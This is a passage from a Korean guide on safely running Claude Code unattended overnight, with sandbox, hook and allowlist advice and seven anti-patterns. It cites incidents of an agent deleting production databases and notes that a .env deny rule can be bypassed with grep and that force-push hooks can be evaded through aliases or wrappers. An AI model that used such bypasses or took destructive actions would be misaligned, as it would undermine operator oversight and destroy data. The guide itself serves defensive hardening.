/sandbox를 실행합니다. 파일 시스템 접근은 프로젝트 디렉터리와/tmp로 제한합니다. 네트워크 허용 목록에는 api.anthropic.com, github.com, registry.npmjs.org를 넣습니다.작업 내부에 검증 단계를 둡니다. 주요 변경 후마다 테스트 실행기나 linter를 실행합니다. 실패하면 문제가 해결될 때까지 에이전트가 계속 진행하지 않습니다.
마지막 항목은 도구 설정이 아니라 작업 방식입니다. Claude가 작업을 확인할 수단을 제공하세요. 검증이 없으면 밤새 에이전트는 «잘한 것 같으니 다음으로 넘어가자»며 오류를 쌓아 아침을 맞습니다. 검증이 있으면 확인이 통과될 때까지 진행하지 않습니다.
7가지 안티패턴: 하지 말아야 할 일
핵심 요점
여기서 설명한 프로젝트에서 나타난 흔한 실수 일곱 가지입니다. 프로덕션 접근 권한이 있는 컴퓨터에서 --dangerously-skip-permissions를 실행하기, CLAUDE.md에만 의존하기, hook 없이 permissions.deny를 신뢰하기, 백업 규칙 없이 auto-mode를 사용하기. 각 실수는 출처에 설명된 실제 사고와 관련이 있습니다.
1. 프로덕션 접근 권한이 있는 호스트 컴퓨터에서 --dangerously-skip-permissions 사용. Browningstreet는 «정리해 줘»라는 명령 하나로 프로덕션 및 개발 데이터베이스를 잃었습니다. 실수의 대가는 복구에 드는 시간과 백업에 없는 데이터의 손실입니다. 사고가 이미 발생했다면 «AI가 데이터베이스를 삭제했을 때 할 일: 복구 체크리스트»를 열어 10단계를 순서대로 따르세요.
2. 보안을 CLAUDE.md에만 의존. Issue #44868은 모델이 먼저 행동하고 나중에 사과한다는 사실을 입증했습니다. 텍스트 파일의 권고 사항은 도구 호출을 막지 않습니다. 올바른 hook은 일치 호출을 막고 OS, sandbox, 서비스 접근 제어는 더 넓은 경계를 강제합니다. CLAUDE.md는 프로젝트 컨텍스트에 중요합니다. «CLAUDE.md를 올바르게 설정하는 방법»에서 별도로 다뤘지만, 자율 에이전트로부터 보호해 주지는 않습니다.
3. Hook 없이 settings.json의 permissions.deny에만 의존. Issue #24846은 2026년 2월부터 미해결 상태입니다. .env*에 대한 deny 규칙은 Bash에서 grep을 사용해 우회할 수 있습니다. Hook은 검사를 더하지만 비밀 정보도 무인 환경에서 제외해야 합니다. 정규식은 접근 제어의 완전한 대체가 아닙니다.
4. Auto-mode와 정규식 hook을 운영 격리로 간주. 인용된 거짓 음성률은 평가별 수치이며 hook 범위는 불완전합니다. 모든 위험 동작이 잡힌다고 가정하지 말고 운영 쓰기 자격 증명을 제거하고 강제 경계를 검증하세요.
5. 확인 없이 npm install로 새 패키지 설치. 공급망 공격은 실제로 발생합니다. 2024–2026년 Tea-tags 사고는 수천 건의 다운로드를 기록한 타이포스쿼팅 패키지가 존재한다는 점을 보여줬습니다. 허용 목록이 필요합니다.
6. Bash 호출을 기록하지 않음. 감사 로그가 없으면 밤에 무슨 일이 있었는지 이해할 수 없습니다. 채팅 기록은 길고 명령별로 색인되지 않으며 시간순 기록도 제공하지 않습니다. .claude/audit.jsonl은 두 문제를 모두 해결합니다.
7. 백그라운드 세션에서 worktree를 사용하지 않음. 같은 디렉터리에 있는 병렬 세션은 서로의 작업을 방해합니다. Claude Code의 worktree.bgIsolation은 버전 2.1.143부터 기본으로 활성화되어 있지만 설정을 확인하세요.
그리고 어떤 hook이나 설정으로도 막을 수 없는 가장 중요한 점입니다.
이 문구는 말투에 관한 것이 아닙니다. 프로덕션 보호에 책임이 있는 사람은 에이전트를 실행한 사람입니다. Claude Code는 곧은 면도날과 같습니다. 면도할 수도 있고 자신을 벨 수도 있습니다. 설정은 한 가지 질문에 답합니다. 면도날이 잘라서는 안 될 것을 자르지 않도록 환경을 충분히 잘 준비했나요?
출처
사고가 발생하기 전에 설정을 마치는 것은 컨텍스트 엔지니어링의 일부입니다. 에이전트가 할 수 있는 일을 미리 제한하면, 원하는 일을 할 수 있도록 자율성을 부여할 수 있습니다.
더 많은 자료는 Ailoot에서 확인할 수 있습니다.
자세히 보기
Claude Code가 밤새 프로젝트를 망가뜨리지 않도록 설정하는 방법: 자주 묻는 질문
force-push hook은 모든 셸 명령에서 운영을 보호하나요?
아닙니다. 수정 예시는 플래그 순서, 생략 브랜치, refspec, 일반 명령 연결을 포함한 명시적 git push를 차단합니다. 별칭·래퍼·조합 명령은 우회할 수 있으므로 보호 브랜치를 강제하고 우회 키를 제거하세요.
밤새 실행하기 전에 무엇이 필요한가요?
운영 쓰기나 읽을 수 있는 비밀 정보가 없는 격리 환경에서 네트워크·서비스 제한을 검증하고 hook의 일치·누락을 시험하세요. hook은 추가 검사이며 강제 경계를 대체하지 않습니다.